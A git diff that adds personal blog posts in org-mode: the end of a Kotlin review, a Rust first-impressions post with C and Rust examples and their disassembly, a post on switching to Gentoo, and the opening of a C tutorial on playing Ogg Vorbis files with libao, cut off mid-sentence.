excellent way of avoiding issues with [[https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf][type juggling]]. +Again, my opinions here have largely been shaped by my experience as a teaching +assistant. + +* Explicit nullability + +This is probably the crowning feature of Kotlin: a solution to "The Billion +Dollar Mistake" that is =null=. I'm actually not a fan of explicit nullability as +a solution, since I prefer the use of an =Option= type like in Rust.[fn:7] That +said, it does put the type system to work enforcing null safety at compile time, +and it is a lot more pleasant than dealing with =null= Java, so I'd call it a win. + +Basically, a variable can be =null= if its type is suffixed with a =?=. For +example, =Int?= can be =null=, but =Int= can't. An expression of type =Int?= +must be checked for =null= before it can be used, which can be done in a number +of ways. The most simple being to make use of another Kotlin feature: "smart +casts". + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum: Int? = null + +if (myNum != null) { + println("${myNum + 4}") // myNum has been casted from Int? to Int at this point. +} +#+END_SRC + +There are other ways, too. Kotlin has a null-coalescing operator, a "not null" +assertion, and so on. Explicit nullability is definitely a pain when starting +out, though. In Jouri Mamaev's [[https://kukuruku.co/post/why-kotlin-sucks/]["Why Kotlin Sucks"]], the following issue is +described as a "histerically-useless war with nullable." + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +fun F() : Int { + if (value != null) return 0 + return value // Compiler error: "Smart cast to 'Int' is impossible, because 'value' is a mutable property that could have been changed by this time" +} +#+END_SRC + +Mamaev goes on to show an example using the aforementioned "not null" assertion, +but the way I prefer to deal with this issue (other than not having variables +that are both nullable and mutable) is: + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +value?.let { + it.something() +} +#+END_SRC + +=let= will capture =value= and pass it to a lambda, allowing you to run some +code without having to worry about the value changing from under you. I have no +idea if this is idiomatic or not, but it works for me. + +Of course, Kotlin was meant to interoperate with existing Java code, which has +little notion of explicit nullability, so the benefits of explicit nullability +go out the window more often than not. + +* No more checked exceptions + +I'm sorry, but I really don't want to write about how much I hate checked +exceptions in Java. If you aren't familiar with them, but still want to know +what they are, I'd suggest looking for an article elsewhere. Otherwise, all you +need to know is that they aren't an issue in Kotlin. + +* == for value equality as opposed to reference equality + +This comes back to the operator overloading feature, ==== calls out to =equals=. +I do have a slight problem with this, though. ===== is used for reference +equality. I'm thankful that the operator exists, but this is completely +orthogonal to what Javascript does and I think that this might be a barrier for +anyone coming from there. Again, this is a slight problem; I think the gains in +clarity from using ==== for value equality outweigh the awkward ===== operator. + +--- + +Whew, listing all of the features that make Kotlin a better choice than Java is +exhausting. This is one of the complaints that I have about the language: it's +massive in scope. Of course, this is a consequence of Java having an absurd +number of warts that Kotlin tries to mend, but learning the ins and outs of +Kotlin is a significant undertaking. This is a _shortened_ list of the features +I enjoyed but didn't mention in this post: + +- Lambdas having access to variables that are not final. +- Classes and methods being final by default. +- Inner classes being static by default. +- Properties (declaring 'get' and 'set'). +- Unpacking. +- Spreading. +- Collection literals. +- Common I/O functions such as =println= being included in the prelude. +- Top-level visibility. +- Module visibility. +- Named imports. +- Infix functions. +- Nested functions. +- Decorator classes with =by=. +- Anonymous objects being able to implement multiple interfaces. +- Immutable collections. +- Lazy evaluation. +- =with= and =apply= expressions. +- Safe type casting. +- Lazy member initialization. +- Function inlining. +- Support for DSL creation. +- ... + +I could seriously just go on for days. There's /a lot/ to keep in your head all +at once. + +Other than the huge scope, there are few things I'd say I dislike about Kotlin. +Sure, there are things I wish it had, like Rust-styled variable shadowing, but +nothing drives me up the wall or anything. =kotlin-mode= feels like it was put +together in a few hours and compilation times are miserable, but other than +that, Kotlin is a solid language. + +Also, I'll forgo talking about the community and the ecosystem. It's just +completely transparent to me right now. From what I /can/ gather, it seems to be +pretty corporate ([[https://kotlin.link/][kotlin.link]] links to a Linkedin group, Google+, Slack...), +which might be because of its use case in Android development, but whatever. + +To conclude, Kotlin's alright. It isn't a miracle of language design, but it's +designed in a way that makes it easy to map onto the JVM. In that sense, it's +pragmatic. I'm not /excited/ about it, but it's levels beyond Java in terms of +how tolerable it is, so I'll take it. Well, for Android development, at least. +For projects where I'm not wrestling with a Java-based platform, I'll use +something more fun. To me, Rust is like Marshmallow Froot Loops, and Kotlin is +like Cheerios.[fn:8] + +I'd also like to take a minute to thank everyone who's given feedback on the +previous post. I really appreciate all the suggestions! I've put Ada and Pony on +my list of languages to cover in the future, and hopefully I'll be able to make +some progress on shrinking that list now that I'm done with the semester and +finally have some free time. + +[fn:1] Source: [[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Java+Runtime+Environment][Common Vulnerabilities and Exposures, MITRE]] + +[fn:2] Well, that statement is only partially true. [[https://en.wikipedia.org/wiki/Jazelle][ARM processors can execute JVM bytecode in hardware]], and I would not be surprised if there are other chips out there with similar capabilities. + +[fn:3] Not that it would help me at all in reversing Doom RPG, I was just curious about bytecode. + +[fn:4] I would typically consider Minesweeper to be somewhat trivial, but implementing it for Android was not an easy task. + +[fn:5] I do think that assignment as an expression can occasionally afford some clarity, especially in the way of C, but in my time as a teaching assistant, I can say that I have seen its usage be erroneous more often than clever. + +[fn:6] In case it is unclear from the code, lambdas can be passed to functions sans parentheses. This is just syntactic sugar. + +[fn:7] Java 8 actually has an =Optional= type, but people seem to dislike it. Wonder why... + +[fn:8] This [[https://en.wikipedia.org/wiki/Metacity#Aim][analogy]] is painfully overused, but it just can't be beat. diff --git a/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org b/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org new file mode 100644 index 0000000..dd57549 --- /dev/null +++ b/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org @@ -0,0 +1,445 @@ +#+TITLE: First Impressions of the Rust Programming Language +#+DATE: <2018-06-08 Fri> +#+TAGS: opinion, programming, rust + +C is almost 50 years old, and C++ is almost 40 years old. While age is usually +indicative of mature implementations with decades of optimization under their +belts, it also means that the language's feature set is mostly devoid of modern +advancements in programming language design. For that reason, you see a great +deal of encouragement nowadays to move to newer languages - they're designed +with contemporary platforms in mind, rather than working within the limitations +of platforms like the PDP-11. Among said "new languages" are Zig, Myrddin, Go, +Nim, D, Rust... even languages like Java and Elixir that run on a virtual +machine are occasionally suggested as alternatives to the AOT-compiled C and +C++. + +I have plans to look into the characteristics that distinguish each and every +one of these new programming languages, learning them and documenting my first +impressions in the form of blog posts. This post is the beginning of that +adventure: my first impressions of Rust. I chose to evaluate Rust first rather +than one of the other aforementioned contenders for a few reasons. For one, it's +backed by some big names like Mozilla, so I'm expecting it to have more polished +documentation than its independently developed counterparts - we might as well +step off with a language that I can learn without needing to read the compiler's +source code. Also, I've been fairly critical of Rust in the past because that +view was in-line with the opinions of my friends, but now that I've decided to +go out of my way to learn a new programming language, I might as well use this +as an opportunity to see if my criticisms were unfounded. + +Learning these new programming languages is certainly going to be an +undertaking. Because Python and C were the first languages I was introduced to, +I was able to simply buckle down, learn them, and apply them to pretty much +everything I was doing at the time. When I tried to learn other languages later +on, though, I had a hard time gauging whether or not I was making progress. I +think that this is because I wasn't engaged with what I was learning; I was, at +most, writing trivial programs with the language I was learning, and defaulting +to C or Python whenever I needed to work on a "real" project. My goal is to +learn these new languages to the extent that I can meaningfully evaluate them, +so I've looked back on my past attempts and come to the conclusion that I either +need to use them to develop something nontrivial, or make contributions to a +free software project written in the language, as suggested by [[https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c][several]] [[https://codewithoutrules.com/2017/09/09/learn-a-new-programming-language/][articles]]. +In the case of this post, it will be the former, as I've actually come to like +Rust enough to use it for my [[https://github.com/TsarFox/rebuild][reimplementation of Ken Silverman's BUILD engine]]. + +With my introduction for this series out of the way, we can get into my first +impressions of Rust. The first step was diving into the documentation to learn +it, so I guess it would make sense to begin with that. Simply put, there is no +shortage of high-quality learning material for Rust. [[https://doc.rust-lang.org/book/second-edition/index.html]["The Rust Programming +Language,"]] the equivalent of TCPL for Rust, is surprisingly well-written. Even +if you're familiar with a systems programming language like C, I would still +recommend reading it cover-to-cover. I had initially started off with the "Rust +for C++ Programmers" and the "Learn X in Y Minutes" tutorial for Rust, but until +I read TRPL, there was a lot that didn't make sense, and I was completely lost +when it came to using the standard library. The book is friendly, encouraging, +and full of great examples that outline common patterns in the standard library +and various third party crates. My only real complaint with TRPL is that some of +the the analogies step foot into the territory of [[https://www.hillelwayne.com/post/monad-tutorials/][monad tutorials]]. Some +exceptional examples are comparing a [[https://doc.rust-lang.org/book/second-edition/ch15-04-rc.html][reference-counting pointer to the TV in a +family room]], or comparing [[https://doc.rust-lang.org/book/second-edition/ch04-01-what-is-ownership.html][references to tables at a restaurant]]. They aren't all +bad, and there are a few that I actually really enjoy, like the comparison of +[[https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html][message passing concurrency to a river]], but most of them try too hard to relate +the concept to something in the real world that it ends up being unhelpful. +Fortunately, the book is on GitHub and accepts pull requests, so I have plans to +send in suggestions for some alternatives. + +Despite the presence of great documentation, I predict that most people are +still going to have a hard time learning Rust. It brings some concepts that you +probably haven't seen before. As far as I'm aware, this is the first programming +language to offer compile-time memory management. (C++ has smart pointers which +are definitely similar, but those rules are enforced at runtime. Rust tightly +integrates its concepts of ownership and lifetimes into the compiler.) TRPL does +a good job of introducing the concepts for compile-time memory management, but I +feel that that it only really scratches the surface. For that reason, I'd like +to point anyone learning Rust to a great supplementary resource on the +memory-model: [[http://cglab.ca/~abeinges/blah/too-many-lists/book/]["Learning Rust With Entirely Too Many Linked Lists"]]. It's +hands-on, and just about as approachable as TRPL. [[http://softwaremaniacs.org/blog/2016/02/12/ownership-borrowing-hard/en/][This post]] might also help if +you're having trouble grasping the general concept. + +That brings me to another point - the features that Rust brings to the table +might be difficult to learn, but learning to use them pays off in the end. +Compile-time memory management requires designing your programs in a way you +might not be used to, but it definitely beats manual memory management, or +letting a runtime take care of garbage collection. + +C's memory model, for example, is manually managed. Heap allocations are +performed via =malloc(3)= and =calloc(3)=, and those allocations exist until +=free(3)= is called. Take this trivial piece of code for making a heap +allocation containing a string: + +#+BEGIN_SRC c :hl_lines 0 +#include +#include +#include + +int main(int argc, char **argv) { + char *buf; + + // Make a heap allocation of 14 bytes. + buf = calloc(14, 1); + + // calloc(3) CAN return a null pointer. + if (buf == NULL) { + return 1; + } + + // Fill the allocated buffer with a string, and print it. + strcpy(buf, "Hello, world!"); + puts(buf); + + // Free the heap allocation, since we're done with it. + // This won't always be at the end of the function, but it usually will be. + free(buf); + + return 0; +} +#+END_SRC + +This model requires keeping track of the allocations you make and ensuring that +they're freed when they aren't needed anymore - we easily could've forgotten +that call to =free(3)=. In this really trivial example, it doesn't matter +because the process exits and the operating system reclaims the heap page, but +if the program kept running after printing that string, we'd be dealing with a +memory leak. Anyway, C's manual memory management is explicit enough that you +can more or less predict what this will compile down to. GCC 6.4.0 emits +following amd64 code: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +55 pushq %rbp +4889e5 movq %rsp, %rbp +4883ec20 subq $0x20, %rsp +897dec movl %edi, -0x14(%rbp) +488975e0 movq %rsi, -0x20(%rbp) + + # calloc(14, 1), store pointer on the stack. +be01000000 movl $1, %esi +bf0e000000 movl $0xe, %edi +e892feffff callq sym.imp.calloc +488945f8 movq %rax, -8(%rbp) + + # Check for null pointer. +48837df800 cmpq $0, -8(%rbp) +7507 jne 0x750 +b801000000 movl $1, %eax +eb3b jmp 0x78b + + # (Really optimized) call to strcpy. +488b45f8 movq -8(%rbp), %rax +48ba48656c6c. movabsq $0x77202c6f6c6c6548, %rdx +488910 movq %rdx, 0(%rax) +c740086f726c. movl $0x646c726f, 8(%rax) +66c7400c2100 movw $0x21, 0xc(%rax) + + # puts(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e846feffff callq sym.imp.puts + + # free(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e82afeffff callq sym.imp.free + + # Teardown. +b800000000 movl $0, %eax +c9 leave +c3 retq +0f1f00 nopl 0(%rax) +#+END_SRC + +The equivalent in Rust is similar, but as you'll see, we don't need to +explicitly free the heap allocation. + +#+BEGIN_SRC rust :hl_lines 0 +use std::io; +use std::io::Write; + +fn main() { + let buf = Box::new(b"Hello, world!\n"); + io::stdout().write(*buf); +} +#+END_SRC + +rustc 1.25 compiles this down into the following amd64 code[fn:1]: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +4883ec48 subq $0x48, %rsp + + # Heap allocation, made by the 'std::boxed::Box' smart pointer. +b808000000 movl $8, %eax +89c1 movl %eax, %ecx +4889cf movq %rcx, %rdi +4889ce movq %rcx, %rsi +e8caedffff callq sym.alloc::heap::exchange_malloc::h42fa40019bea1ed3 + + # We actually end up storing a reference to the bytestring, rather than copying the individual bytes into the box. + # Regardless, I think this should still illustrate heap allocation fairly well, and I'm trying to keep the example somewhat simple so we'll roll with it. +488d0de3e705. leaq str.Hello__world, %rcx +4889c6 movq %rax, %rsi +488908 movq %rcx, 0(%rax) +4889742410 movq %rsi, 0x10(%rsp) + + # Get the handle to stdout. +e855590000 callq sym.std::io::stdio::stdout::h537f6f9874379378 +4889442408 movq %rax, 8(%rsp) +488b442408 movq 8(%rsp), %rax +4889442430 movq %rax, 0x30(%rsp) + + # stdout.write(*buf); +488b4c2410 movq 0x10(%rsp), %rcx +488b11 movq 0(%rcx), %rdx +be0e000000 movl $0xe, %esi +89f1 movl %esi, %ecx +488d7c2418 leaq 0x18(%rsp), %rdi +488d742430 leaq 0x30(%rsp), %rsi +e8965a0000 callq sym._std::io::stdio::Stdout_as_std::io::Write_::write::h12094683b11bc5a8 + + # Free the 'std::io::Result' that's returned by 'write'. + # We didn't check its, which is considered bad form, but this is just a simple example. +488d7c2418 leaq 0x18(%rsp), %rdi +e8fef4ffff callq sym.core::ptr::drop_in_place::h72bdea260ebb17c9 + + # Free the stdout handle. +488d7c2430 leaq 0x30(%rsp), %rdi +e8a6f4ffff callq sym.core::ptr::drop_in_place::h55479d5b85e18c56 + + # Finally, free the heap allocation we made. +488d7c2410 leaq 0x10(%rsp), %rdi +e8faf5ffff callq sym.core::ptr::drop_in_place::ha5ac9a364139ad29 + + # Teardown. +4883c448 addq $0x48, %rsp +c3 retq +#+END_SRC + +Besides needing to allocate a handle to interact with stdout, rustc's emitted +assembly does pretty much the same thing as that of GCC - allocate a buffer, +fill it, then free it when we're done using it. Rust just façades this process +with a friendlier abstraction. + +Another feature I've come to really enjoy is that there are no more NULL +pointers - they've been replaced by a strict type system à la Haskell. In the C +example above, we saw that =calloc(3)= can return =NULL= if glibc isn't able to +allocate enough memory. We easily could've forgotten to put in the check to make +sure the it isn't =NULL=, in which case we would get a segmentation fault. +Preventing this sort of thing is what people are talking about when they say +"memory safety." For a segmentation fault, the operating system has to jump in +because we're doing something we shouldn't - dereferencing a =NULL= pointer. +There are plenty of other naughty things we can do in C, like freeing a heap +allocation twice, or even worse, writing outside the bounds of a buffer. Rust +aims to have the compiler step in when we do something dumb, rather than leaving +that to the operating system or exploit mitigation systems. To do this for +=NULL=-able references, Rust provides an =Option= type (and the =Result= type) +that can represent either something or nothing. You see it used extensively in +the standard library. Consider the =find= method of =std::string::String=, a +method for finding the index of a substring in a string. There's the possibility +that the substring exists in the string, in which case we'd just return that +index, but what if it doesn't exist? In the case of C, we might return some +silly value like '-1', but in Rust, we return an =Option= - either some +=usize= value, or nothing. And the compiler makes sure we understand the +implications of this. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + let index = to_search.find("foo"); + println!("index - 5: {}", index - 5); +} +#+END_SRC + +This is a pretty inane example, but please bear with me. If we try to compile +this, rustc errors out, because we're trying to treat a variable that might +represent nothing as if it were guaranteed to be something. + +#+BEGIN_SRC +error[E0369]: binary operation `-` cannot be applied to type `std::option::Option` + --> test.rs:4:31 + | + 4 | println!("index - 5: {}", index - 5); + | ^^^^^^^^^ + | + = note: an implementation of `std::ops::Sub` might be missing for `std::option::Option` +#+END_SRC + +This would be fixed by inspecting the Option, ensuring that it *is* something, +rather than nothing. It's an algebraic data type, so we can destructure it and +work with the index if =find= returned something. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + if let Some(index) = to_search.find("foo") { + println!("index - 5: {}", index - 5); + } +} +#+END_SRC + +=if let= is a syntax construct that I don't think any other language has, so I +should probably give a brief explanation. That =if= block will run if and only +if =find= returned an instance of =Option= that was =Some=, rather than =None=. +If an instance of =Some= is returned, it contains our index, so we can +destructure it and set that value to the variable, =index=, which we go on to +use. + +You might expect this strictness to bring frustration, but the compiler emits +errors worded simply enough that a layman could understand them, and often makes +suggestions for fixing the code in question. The above isn't a great example, +here's a better one: + +#+BEGIN_SRC rust :hl_lines 0 +fn tabulate_slice(slice: &[u8]) { + for elem in slice.iter() { + println!("{}", elem); + } +} + +fn main() { + let vec = vec![1, 2, 3]; + tabulate_slice(vec); +} +#+END_SRC + +#+BEGIN_SRC +error[E0308]: mismatched types + --> test.rs:9:20 + | + 9 | tabulate_slice(vec); + | ^^^ + | | + | expected &[u8], found struct `std::vec::Vec` + | help: consider borrowing here: `&vec` +#+END_SRC + +Rust has a great deal of functionality that makes it feel like your typical +high-level Ruby or Python, despite being a compiled language. And it isn't +limited to what I described above - here are a few of the other features I +was really impressed with: + +* Conditionals are Expressions + +#+BEGIN_SRC rust :hl_lines 0 +let var = if true { + 1 +} else { + 2 +}; +#+END_SRC + +* No parentheses for the expression part of if/while/for + +Heh, I bet you've seen enough of that already. + +* Semantics for Infinite Loops + +#+BEGIN_SRC rust :hl_lines 0 +loop { + break; +} +#+END_SRC + +* Semantics for Unused Variables/Parameters + +#+BEGIN_SRC rust :hl_lines 0 +for _ in 0..5 { + println!("I'm printed 5 times!"); +} +#+END_SRC + +* Range Notation, Type Inference, and Iterators + +Again, you've seen these already. + +* Tuples, Destructuring, and Pattern Matching via =match= and =if let= Expressions + +#+BEGIN_SRC rust :hl_lines 0 +match to_search.find("foo") { + Some(index) => println!("Foo at {}", index), + None => println!("No foo :("), +} + +// Or, more idiomatically: + +if let Some(index) = to_search.find("foo") { + println!("Foo at {}", index); +} else { + println!("No foo :("); +} +#+END_SRC + +* Automated Testing is Integrated Into the Build System + +#+BEGIN_SRC rust :hl_lines 0 +#[cfg(test)] +mod tests { + #[test] + fn it_works() { + assert_eq!(2 + 2, 4); + } +} +#+END_SRC + +This will be run upon invocation of =cargo test=. + +* Isolation of Unsafe Code + +There's a set of [[https://doc.rust-lang.org/book/second-edition/ch19-01-unsafe-rust.html][rules]] to ensure that the implications of working with unsafe +code are properly contained, but the gist of it is that unsafe code is isolated +by the scoping system. Mostly, I'm glad that the language allows you to work +with unsafe code at all. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + unsafe { + asm!("INT3"); + } +} +#+END_SRC + +--- + +That's my opinion on the language design aspect, but the community and ecosystem +are important as well. My experience with the Rust community is limited, but +from what little I have seen, those in the community are friendly and rational. +I submitted [[https://github.com/mattnenterprise/rust-imap/issues/67][a few issues to rust-imap]] and received prompt and helpful responses. +I can also confidently say that the Rust ecosystem a pleasure to work with. It +obviously isn't as mature as some other language ecosystems, but adding a +"crate" dependency to your projects is as easy as adding a line to your +'Cargo.toml'. It's equally easy to publish the code and documentation for crates +you've made yourself. I threw together [[https://github.com/TsarFox/wildmidi][a library for interacting with WildMIDI]], +and a [[https://docs.rs/][docs.rs]] page popped up without any intervention from me. Painless. + +The process of linking those crates into the executable is relatively primitive, +and there are a few complaints in that respect. It's mostly static linking, so +the argument is "you get outdated copies of several libraries on your computer." +However, the benefits of dynamic linking as the alternative is a [[http://harmful.cat-v.org/software/dynamic-linking/][debate I don't +want to get into in this post]]. Right now I'll leave it as, "it's not an option +in the current implementation, and that's a disadvantage," even if I'm +blissfully ignorant of the size of my Rust binaries and /might/ have some +complaints about dynamic linking. + +All in all, I'm very happy with Rust. Maybe it isn't "there" yet as a viable +replacement to C, but it's promising and I have a feeling that, with time, it +will fit nicely into GNU/Linux ecosystem. + +[fn:1] A previous version of this post included *all* of the assembly emitted by the compiler, but in this revision, I've chosen to remove Rust's error/panic handling code because I believe that it actually detracts from the concept I'm trying to show. diff --git a/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org b/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org new file mode 100644 index 0000000..7473a7a --- /dev/null +++ b/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org @@ -0,0 +1,124 @@ +#+TITLE: Installing Gentoo: One Month Later +#+DATE: <2018-05-28 Mon> +#+TAGS: opinion, linux, gentoo + +It seems that the general consensus on "distro hopping," the act of constantly +switching between distributions of GNU/Linux, is that it's a bad habit that +should be consciously avoided. If you do a search for the term, you'll get +articles with titles along the lines of "How I Stopped Distro Hopping." But it's +also a term that gets thrown around loosely, and I think that that "distro +hopping" is an acceptable practice in a lot of the contexts where the phrase is +used. Needless to say, I've "hopped" distributions in the past month, and this +blog post is going to describe the highs and lows of that experience. + +My experiences with GNU/Linux began when I installed openSUSE about four years +ago. I chose it over something more conventional like Ubuntu for its integration +with KDE Plasma 4 (I'm aware that I suffered from bad taste at the time). I +stuck with that until I decided to try Fedora for no particular reason, which +was short-lived. I later switched to Arch Linux to fit in with the cool kids, +and that became my daily driver for a little over two years. Recently, however, +I've switched to Gentoo, because I've wanted to try GNU/Linux without systemd +and friends. Many conversations with people over IRC convinced me that the +maintenance model of those packages is [[https://github.com/systemd/systemd/issues/6237][concerning, to say the least]], and that +it's preferable if the operations-critical parts of my operating system aren't +ridden with CVE's. Gutting Arch of the beasts within is possible, but seriously +complicates everything, so I decided that the best course of action was to just +throw the baby out with the bathwater and use this as an opportunity to +experiment with something I'd been meaning to try. + +Gentoo has been on my radar ever since I installed Arch, as I had several +friends who loved to talk about the merits of a source-based distribution. My +original plan was to wait until I had a machine I could comfortably experiment +with, separate from my workstation or laptop, but since I was hopping distros +anyway, I decided to just go ahead and get my hands dirty. Of course, I didn't +go into the whole migration process without concerns. For one, I want to cleanse +/all/ of machines of systemd. That includes the Raspberry Pi I use as a home +server, and I don't think it's powerful enough to be compiling everything from +source. I opted to install Alpine on that instead. The other problem was that my +laptop's only storage device was an SSD, which I didn't want to subject to +excessive writes. Fortunately the solution to that was straightforward: I was +able to mount =/var/tmp/portage'=as tmpfs so that all the object files generated +while compiling got dumped to an in-memory filesystem instead of the disk. + +After making sure that everything I needed to do was possible on the new setup, +I went ahead and installed it on both my workstation and laptop. The canonical +reference for installing Gentoo, dubbed "the handbook," is incredibly +well-written, so the installation process was painless. I think the quality of +documentation is a big benefit that Gentoo has over Arch; everyone praises the +Arch wiki, but I find that the Gentoo documentation is far more informative and +much more consistent. Setting it up past the initial installation really wasn't +difficult either - I had X11 running the same night. + +I also used this as an opportunity to try out some new software. On Arch, I was +using i3 and rxvt-unicode, but now I'm on dwm and st and I'm really enjoying +both of them. These programs are configured at compile-time, which would've made +using them on Arch a bit unwieldy, but Gentoo's package manager makes the whole +process trivial. I just throw any patches I want in =/etc/portage/patches=, edit +the =config.h= files in =/etc/portage/savedconfig=, and emerge the package. + +Gentoo's package manager is by far the best I've used in my four years of +running GNU/Linux. Being able to interface with it through a couple of files in +=/etc= is a great interface. It also brings USE flags, which is probably the +poster child of Gentoo's features. If you're not familiar with USE flags, they +allow you to enable or disable certain features at compile-time. As an example, +say I want to play some Goldeneye on my Nintendo 64 and use my computer as a +monitor. I have a cheap USB capture card with a kernel driver exposing the +Video4Linux API. I'll need some sort of video player to put the stream on my +monitor, but that video player is going to need to come with support for said +Video4Linux API. I'm what you might call a special case - most GNU/Linux users +don't have capture cards, so that feature isn't important to them. If it isn't +important to them, why should they have to waste disk space housing all the code +and dependencies for it? This is where conditional-compilation comes in. During +the process of turning source code into executable binaries, certain features +can be turned on or off. In a binary distribution like Arch Linux, the package +maintainers need to make an executive decision about which features should be +enabled, because they're making a binary for /everyone/. And, last I checked, +they decided that V4L support wasn't important enough for them to enable it. +Bummer. If you want that feature, you'll need to compile it yourself. And if a +package has features you don't care about, bummer. You have to either deal with +all the dependencies that those features bring in, or compile it yourself. + +USE flags makes this a lot easier by integrating conditional compilation options +into the package manager, rather than forcing you to wrangle with the configure +script of whatever build system the software uses. For example, I can compile +mpv with support for V4L simply by enabling the 'v4l' USE flag. The nice thing +about this is that all packages supporting V4L recognize this same USE flag, and +I can enable it globally - compiling V4L support into everything on my system +without putting much thought into it. And if I just want it for mpv instead of +everything on my system, I'm also able to enable it for just certain packages. + +This freedom does come with the downsides of, well, having to compile everything +from source. Compiling software takes time and processing power, and trying to +optimize the process has caused me some headaches. In Gentoo, you'll want to +pick a decent value for =--jobs= in =make.conf= so that compilation is fast. +=--jobs=, or =-j= is a signal to the build system that it can run some number of +tasks in parallel. I started out with =-j8= on my laptop, since it has 8 cores. +This worked great for smaller packages, but when I tried to emerge Firefox, my +machine gave up half-way through. It was still running. I could ~Ctrl+Z~ from +=emerge= and use it, but the compilation process had hanged and my only option +was to restart it, to which it would hang at another point in the compilation +process. I tried it again with =-j4= and it was able to compile without any +trouble, it just took much longer. I had a similar issue on my workstation - it +has a quad-core processor so I was using =-j4=, but I was regularly getting +segmentation faults while emerging large packages such as LLVM (apparently a +hardware issue that I need to look into), so I lowered it to =-j2=. Of course, +looking back on it now, [[https://blogs.gentoo.org/ago/2013/01/14/makeopts-jcore-1-is-not-the-best-optimization/][the number of cores your machine has isn't a good value +for '-j' anyway.]] + +Another great thing about Portage is the API for making your own packages. It's +shell scripts, so it's similar to how you'd go about making a package on Arch, +but I find the API feels like a massive hack. For one, [[https://devmanual.gentoo.org/][the documentation]], again, +towers over that of Arch, but it also brings something reminiscent of a standard +library: eclasses, which enable you to abstract the commonality between packages +using the same build system. Also, instead of having just one big AUR, +unofficially maintained packages are distributed in user-managed "overlays." I'd +think that pacman can probably do something similar, but you almost never see it +in practice. + +All in all, I'm very happy with the level of customization and freedom that +Gentoo offers me, and I haven't missed systemd one bit. OpenRC, ALSA, and +wpa_supplicant are all I need. Going forward, I'm hoping to become more involved +in the Gentoo community - becoming active on the forums and IRC, and hosting an +overlay for the handful of ebuilds I've made. The Gentoo community seems much +more tightly-knit than the Arch community, and I'm looking forward to meeting +some new friends. diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png new file mode 100644 index 0000000..6841598 Binary files /dev/null and b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png differ diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org new file mode 100644 index 0000000..0d325b5 --- /dev/null +++ b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org @@ -0,0 +1,217 @@ +#+TITLE: Making Your Own Music Player: A Gentle Introduction to Audio Programming +#+DATE: <2017-07-15 Sat> +#+TAGS: tutorial, programming, audio, c +#+HAUNT_BASE_DIR: /home/jakob/Blog-New/haunt/ + +To start off, I'd like to say that I know very little about audio programming +and digital audio in general. I've never formally studied signal processing, +and hell, I haven't even started high school physics yet. This post merely +documents what I've learned while trying to get sound working in my game, +because there aren't really any other learning resources about this out there. + +In this tutorial, we'll write a basic music player for Ogg Vorbis in C using +two awesome libraries from Xiph.Org. The first, libao, will provide us with a +means to play sound through our speakers, or headphones. or whatever, and we'll +use libvorbisfile to decode the Ogg Vorbis files. + +libao, like most other audio libraries, works by giving us a *PCM buffer* that +we write sound data to, and that gets played back. *PCM* stands for Pulse-Code +Modulation, and it's the basis of digital audio programming. You might have +heard people talk about how analog audio is so much better than digital, and I +think that learning the difference between the two helps to better understand +digial audio. Historically, sound was recorded in terms of analog signals, +which were easy to store as something like field strength on a magnetic medium. +However, digitizing audio requires the signal to be either sampled or +quantized. Both techniques are fairly similar, basically getting an +instantaneous representation of the signal some number of times a second. The +image below does a good job of explaining it, I think. + +#+CAPTION: Diagram showing the difference between an analog sine wave and a quantization of that wave. +[[./analog-vs-digital.png]] + +The rate at which the signal is sampled or quantized is the *frequency*. 44.1 +kHz is typically the standard - meanining that 441,000 samples are taken every +second. The number of *channels* is essentially how many speakers the sound is +meant for. Stereo sound is the standard, so that is typically 2. And finally, +the audio can be 8, 16, 24, or 32 bit, representing the size of the integer +used to represent the sample. + +Before we get into the code; you might need to configure libao if you're using +PulseAudio. Just open it up in your favorite editor and change it as shown +below. + +#+BEGIN_SRC +$ sudo $EDITOR /etc/libao.conf +# Change from +default_driver=alsa +dev=default +# To +default_driver=pulse +# Make sure to remove the dev=default line +#+END_SRC + +Now we're ready to get into the code. We'll include the headers for libao and +libvorbisfile, as well as some standard library headers and the size of the PCM +buffer, which I'll explain soon. + +#+BEGIN_SRC c :hl_lines 0 +#include +#include + +#include +#include + +#define BUF_SIZE 256 +#+END_SRC + +The program is actually simple enough that we can do everything in main. For +clarity, I'll be using C99 variable declaration. Our program will take the file +to play as a command-line argument, so the first thing we need to do is check +argc. + +#+BEGIN_SRC c :hl_lines 0 +if (argc != 2) { + fprintf(stderr, "Usage: %s [PATH]\n", argv[0]); + return 1; +} +#+END_SRC + +Next, we'll initialize libao. We'll also get the ID of the default sound driver +for when we open an audio device later. + +#+BEGIN_SRC c :hl_lines 0 +ao_initialize(); +int default_driver = ao_default_driver_id(); +#+END_SRC + +Now, we'll specify the output format we want. This is what we were talking about +earlier, about frequency and channels and such. The only part of this that +wasn't mentioned was =format.byte_format=, which is just the byte order of the +PCM buffer. The Vorbis decoder will work with either big or little endian, but +we'll just stick with little endian for 